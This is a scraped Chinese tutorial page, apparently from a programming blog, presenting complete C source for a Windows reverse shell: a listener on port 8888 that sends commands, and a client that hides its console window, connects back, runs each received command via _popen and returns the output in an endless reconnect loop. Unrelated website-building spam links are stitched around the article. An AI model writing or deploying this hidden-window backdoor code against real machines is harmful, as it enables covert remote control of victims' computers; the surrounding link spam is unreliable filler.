当前位置: 首页 > news >正文

网站建设会计中国软件外包网

网站建设会计,中国软件外包网,wordpress 标签 rss,免费的企业品牌策划公司在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并…

在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。

在实现反向远程命令执行时,我们可以使用 _popen(buf, "r") 函数来执行特定的命令,并将其输出重定向到一个可读的缓冲区中。这个缓冲区将保存命令的输出内容,我们可以将其发送回控制程序,也就是服务端,从而实现远程命令执行的目标。

首先我们来看一下_popen()函数的原型定义。

FILE *_popen(const char *command, const char *mode);

该函数接受两个参数:

  • command:字符串,包含要执行的命令行指令。
  • mode:字符串,用于指定管道的打开方式,支持 “r” 和 “w” 两种模式。

函数返回一个FILE结构体指针,该指针指向一个由命令产生的输出流。在执行命令时,该函数将创建一个进程来运行命令,并从该进程的标准输出流中读取输出。然后该函数将返回一个文件指针,该文件指针包装了一个文件描述符,用于访问输出流。最终,用户可以使用标准的文件读取操作(如 fread()、fgets() 等)从该文件指针中读取输出,有了该函数的支持再配合套接字即可实现远程命令执行的效果;

14.2.1 服务端实现

如下代码实现了一个基于Windows平台的简单TCP反向shell。该程序可以监听本地的某一端口(默认为 8888),并等待外部客户端的连接。当有新的客户端连接时,程序会等待用户在终端上输入要执行的命令,并将该命令发送给客户端。客户端执行该命令并将执行结果回显到服务端,服务端则将回显结果输出到终端上。

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>#pragma comment(lib,"ws2_32.lib")int main(int argc, char *argv[])
{WSADATA wsaData;SOCKET sock, Sclient;struct sockaddr_in sin, client;int nAddrLen = sizeof(client);// 初始化套接字库WSAStartup(MAKEWORD(2, 2), &wsaData);// 初始化Socketsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);// 填充变量sin.sin_family = AF_INET;sin.sin_port = htons(8888);sin.sin_addr.S_un.S_addr = INADDR_ANY;// 绑定套接字bind(sock, (struct sockaddr*) & sin, sizeof(sin));char buf[40960] = { 0 };// 循环等待套接字事件while (1){// 侦听套接字if (listen(sock, 20) != SOCKET_ERROR){// 有链接时则接收Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);int input_len = 0;char send_cmd[2048] = { 0 };printf("[%s:%5d] # ", inet_ntoa(client.sin_addr), htons(client.sin_port));// 输入数据,以回车键为结束标识while ((send_cmd[input_len++] = getchar()) != '\n'){;}// 发送输入的命令send(Sclient, send_cmd, sizeof(send_cmd), 0);// 循环接收回显while (recv(Sclient, buf, sizeof(buf), 0) > 0){printf("%s", buf);memset(buf, 0, sizeof(buf));}}// 关闭通信closesocket(Sclient);}// 关闭库WSACleanup();return 0;
}

14.2.2 客户端实现

客户端实现首先在开头部分通过增加一个链接器选项,该选项的作用是启动程序时不显示命令行窗口一次来实现隐藏窗体的目的,在程序中通过recv()函数在服务端接收一条命令行参数,并通过调用_popen(buf, "r")执行本地命令行并将输出结果保存在buf变量内,最后通过调用send()函数将执行结果发送给服务端,以此来实现反向命令执行的功能;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>#pragma comment(lib,"ws2_32.lib")int main(int argc, char *argv[])
{WSADATA wsaData;SOCKET socks;struct sockaddr_in sin;CHAR buf[1024];// 初始化套接字库WSAStartup(MAKEWORD(2, 2), &wsaData);while (1){socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);sin.sin_family = AF_INET;sin.sin_port = htons(8888);sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");// 连接到远程if (connect(socks, (struct sockaddr*) &sin, sizeof(sin)) != SOCKET_ERROR){// buf 里面就是接收到的执行命令行memset(buf, 0, sizeof(buf));int ret = recv(socks, buf, sizeof(buf), 0);if (ret > 0){char recv_data[1024] = { 0 };// 执行远程命令FILE *fp = _popen(buf, "r");// 循环读取并发送数据,每次发送1024字节while (fgets(recv_data, 1024, fp) != NULL){send(socks, recv_data, sizeof(recv_data), 0);fprintf(stderr, "%s", recv_data);memset(recv_data, 0, sizeof(recv_data));Sleep(10);}}}memset(buf, 0, sizeof(buf));closesocket(socks);Sleep(1);}WSACleanup();return 0;
}

读者可自行编译并运行这两个程序,首先运行服务端接着运行客户端,当服务端接收到上线消息后,读者可自行执行一些系统命令,此时会看到客户端的输出效果如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8b85e795.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

http://www.yayakq.cn/news/555867/

相关文章:

  • 涟水做网站中国住房和城乡建设网网站
  • 如何搭建论坛网站职业技术培训
  • 建设网站一定要会代码吗wordpress閱讀主题
  • 企业网站建设项目策划书做头像的网站有哪些
  • 网站建设座谈会上的发言沈阳网站建设推广服务
  • 建设网站上海wordpress 主题广告
  • 外贸网站制作要求太原做网站公司哪家好
  • 南山网站设计公司个人网站建设设计
  • 网络小说网站推广策划方案wordpress安装卡住了
  • 什么网站做班服比较好wordpress 目录索引
  • 网站盈利方法pc 移动网站 模板
  • 信息化网站建设的请示做网站外包好做吗
  • 网站建设步骤图网站开发 天津
  • 梧州高端网站建设服务济南网站建设的公司
  • 宜阳县网站建设wordpress+解密成md5
  • 上海网站设计案例网站建设报什么专业
  • 网站开发5000做公司网站需要多少钱
  • 给网站可以怎么做外链东莞网站包年优化
  • 广西桂川建设集团网站外贸人常去的网站
  • 上海电子网站建设微信网站建设报价单
  • 夏津网站开发app图片怎么制作
  • 深圳网站建设外贸公司排名友情链接图片
  • 两学一做网站安徽省危机公关处理方案
  • 网站是哪个公司做p2p网站开发公司
  • 网站访客qq提取莱芜二手房出售信息最新房源
  • 网站建设 风险说明深圳seo网站
  • 源码网站建设步骤佛山建网站的公司
  • 福州做网站设计外包有哪些做投行网站
  • 公司网站简历刷新怎么做上海的外贸公司排名
  • 如何建立一个网站论坛泰安市网站建设